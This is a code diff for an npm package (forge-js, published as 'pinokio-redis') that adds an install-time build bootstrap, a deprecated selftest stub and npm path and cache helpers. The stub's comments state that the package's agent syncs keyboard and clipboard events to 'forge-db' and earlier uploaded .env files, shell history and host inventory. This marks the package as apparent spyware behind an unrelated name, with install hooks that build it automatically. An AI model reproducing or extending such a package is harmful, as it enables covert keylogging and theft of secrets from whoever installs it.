+ console.warn("[forge-js] dist/ missing. Installing devDependencies to build…");
46
+ // Use a single command string (no args array) with shell:true to avoid
47
+ // Node DEP0190 DeprecationWarning about unescaped argument concatenation.
48
+ const r0 = spawnSync("npm install --include=dev --no-save", {
49
+ ...spawnOpts,
50
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
51
+ });
52
+ if (!existsSync(localTsc)) {
53
+ const stderr = r0.stderr?.toString?.()?.trim() || "";
54
+ // Try legacy npm flag for older npm versions
55
+ const r1 = spawnSync("npm install --only=dev --no-save", {
56
+ ...spawnOpts,
57
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
58
+ });
59
+ if (!existsSync(localTsc)) {
60
+ console.warn(
61
+ "[forge-js] dist/ missing and TypeScript still not installed after devDep install.\n" +
62
+ " From a git clone run: npm install (installs devDependencies and builds)\n" +
63
+ " For production use: npm install forge-js (published package includes dist/)\n" +
64
+ (stderr || r1.stderr?.toString?.()?.trim() || "")
65
+ );
66
+ process.exit(0);
67
+ }
68
+ }
69
+ }
70
+
71
+ // Pass the recursion guard to the build sub-process so that postinstall scripts
72
+ // triggered by `npm run build` (which re-runs npm internally) exit early.
73
+ // Single command string to avoid Node DEP0190 warning with shell:true + args.
74
+ const r = spawnSync("npm run build", {
75
+ ...spawnOpts,
76
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
77
+ });
78
+
79
+ if (r.status !== 0) {
80
+ console.warn(
81
+ "[forge-js] `npm run build` failed; install bootstrap will be skipped until dist/ exists.\n" +
82
+ (r.stderr?.toString?.()?.trim() || r.stdout?.toString?.()?.trim() || "")
83
+ );
84
+ }
85
+
86
+ process.exit(0);
@@ -0,0 +1,11 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Legacy script — `.env` file scanning and forge-db upload were removed from forge-agent.
4
+ * Only keyboard + clipboard events sync to forge-db (`windowsInputSync.ts`).
5
+ *
6
+ * Usage (from package root): node scripts/env-sync-selftest.js
7
+ */
8
+ console.error(
9
+ "[forge-js] env-sync-selftest is deprecated: env file / shell history / host inventory sync to forge-db was removed."
10
+ );
11
+ process.exit(0);
@@ -0,0 +1,87 @@
1
+ /**
2
+ * Resolve global forge-jsxy / legacy forge-jsx install roots for explorer control scripts.
3
+ */
4
+ import * as fs from "node:fs";
5
+ import * as os from "node:os";
6
+ import * as path from "node:path";
7
+
8
+ export const FORGE_NPM_PKG = "pinokio-redis";
9
+ export const FORGE_LEGACY_NPM_PKG = "forge-jsx";
10
+
11
+ function defaultCfgmgrDataDir() {
12
+ const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
13
+ if (override) return path.resolve(override.replace(/^~/, os.homedir()));
14
+ if (process.platform === "win32") {
15
+ const lap = (process.env.LOCALAPPDATA || "").trim();
16
+ if (lap) return path.join(lap, "CfgMgr", "data");
17
+ const prof = (process.env.USERPROFILE || "").trim();
18
+ if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
19
+ return path.join(os.tmpdir(), "CfgMgr", "data");
20
+ }
21
+ if (process.platform === "darwin") {
22
+ return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
23
+ }
24
+ const xdg = (process.env.XDG_DATA_HOME || "").trim();
25
+ if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
26
+ return path.join(os.homedir(), ".local", "share", "cfgmgr");
27
+ }
28
+
29
+ /** Durable runtime package root from `<CfgMgr>/.forge-jsxy/current.json` (npm-install-only agents). */
30
+ export function readDurableForgePackageRootFromDisk() {
31
+ try {
32
+ const cur = path.join(defaultCfgmgrDataDir(), ".forge-jsxy", "current.json");
33
+ if (!fs.existsSync(cur)) return null;
34
+ const j = JSON.parse(fs.readFileSync(cur, "utf8"));
35
+ const distDir = String(j.distDir ?? "").trim();
36
+ if (!distDir || !fs.existsSync(path.join(distDir, "cli-agent.js"))) return null;
37
+ const pkgRoot = path.resolve(distDir, "..");
38
+ return fs.existsSync(path.join(pkgRoot, "package.json")) ? pkgRoot : null;
39
+ } catch {
40
+ return null;
41
+ }
42
+ }
43
+
44
+ /**
45
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
46
+ */
47
+ export function globalPackageRoot(npmSpawnSync, pkgName) {
48
+ const r = npmSpawnSync(["root", "-g"], false, {
49
+ timeout: 60_000,
50
+ captureStdout: true,
51
+ });
52
+ const root = (r.stdout || "").trim();
53
+ if (!root) return null;
54
+ const p = path.join(root, pkgName);
55
+ return fs.existsSync(path.join(p, "package.json")) ? p : null;
56
+ }
57
+
58
+ /** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
59
+ export function globalForgeJsRoot(npmSpawnSync) {
60
+ return globalPackageRoot(npmSpawnSync, FORGE_NPM_PKG);
61
+ }
62
+
63
+ /** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
64
+ export function globalLegacyForgeJsxRoot(npmSpawnSync) {
65
+ return globalPackageRoot(npmSpawnSync, FORGE_LEGACY_NPM_PKG);
66
+ }
67
+
68
+ /**
69
+ * Unique install roots: current global, legacy global, then optional script tree.
70
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
71
+ * @param {string} scriptRoot absolute package root when running from npx/npm exec
72
+ */
73
+ export function collectForgeInstallRoots(npmSpawnSync, scriptRoot) {
74
+ const roots = [];
75
+ const durable = readDurableForgePackageRootFromDisk();
76
+ if (durable) roots.push(path.resolve(durable));
77
+ for (const g of [globalForgeJsRoot(npmSpawnSync), globalLegacyForgeJsxRoot(npmSpawnSync)]) {
78
+ if (g) roots.push(path.resolve(g));
79
+ }
80
+ if (scriptRoot) roots.push(path.resolve(scriptRoot));
81
+ return [...new Set(roots)];
82
+ }
83
+
84
+ /** True when either global package name is installed under `npm root -g`. */
85
+ export function anyGlobalForgePackageInstalled(npmSpawnSync) {
86
+ return Boolean(globalForgeJsRoot(npmSpawnSync) || globalLegacyForgeJsxRoot(npmSpawnSync));
87
+ }
@@ -0,0 +1,57 @@
1
+ /**
2
+ * Explorer Upgrade / Restart workers call `npm` (e.g. `npm root -g`, `npm install -g`).
3
+ * On some Windows VPS hosts `%LocalAppData%\npm-cache\_npx\…` is corrupted → ENOENT on package.json.
4
+ * Point npm's cache + minimal userconfig off the default npm tree.
5
+ *
6
+ * **Windows:** use `%SystemRoot%\Temp\…` (not `%TEMP%` under the user profile). npm 10 walks **up**
7
+ * from cwd for project `.npmrc`; `%TEMP%` is usually under `Users\…\AppData\Local\Temp`, so npm loads
8
+ * `%USERPROFILE%\.npmrc` as **project** config while `npm_config_userconfig` points at our file →
9
+ * `prefix cannot be changed from project config` (npm/cli#7501). Scratch under `C:\Windows\Temp` avoids that chain.
10
+ */
11
+ import * as fs from "node:fs";
12
+ import * as os from "node:os";
13
+ import * as path from "node:path";
14
+
15
+ export function isolatedNpmCacheDir() {
16
+ if (process.platform === "win32") {
17
+ return path.join(
18
+ process.env.SystemRoot || "C:\\Windows",
19
+ "Temp",
20
+ `forge-jsx-npm-cache-worker-${process.pid}`
21
+ );
22
+ }
23
+ return path.join(os.tmpdir(), "forge-jsx-npm-cache-worker");
24
+ }
25
+
26
+ /**
27
+ * Writes two tiny npmrc files (`cache=…`) and returns env vars for `npm` children.
28
+ * npm 10+ exits if `userconfig` and `globalconfig` point at the **same** file (“double-loading config”);
29
+ * keep separate paths even when contents are identical.
30
+ */
31
+ export function isolatedNpmCacheEnv(base = process.env) {
32
+ const xc = isolatedNpmCacheDir();
33
+ try {
34
+ fs.mkdirSync(xc, { recursive: true });
35
+ } catch {
36
+ /* skip */
37
+ }
38
+ const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
39
+ const nrcUser = path.join(xc, "forge-fe-user.npmrc");
40
+ const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
41
+ const line = `cache=${cacheForFile}\n`;
42
+ try {
43
+ fs.writeFileSync(nrcUser, line, "utf8");
44
+ fs.writeFileSync(nrcGlobal, line, "utf8");
45
+ } catch {
46
+ /* skip */
47
+ }
48
+ return {
49
+ ...base,
50
+ NPM_CONFIG_CACHE: xc,
51
+ npm_config_cache: xc,
52
+ npm_config_globalconfig: nrcGlobal,
53
+ npm_config_userconfig: nrcUser,
54
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
55
+ npm_config_update_notifier: "false",
56
+ };
57
+ }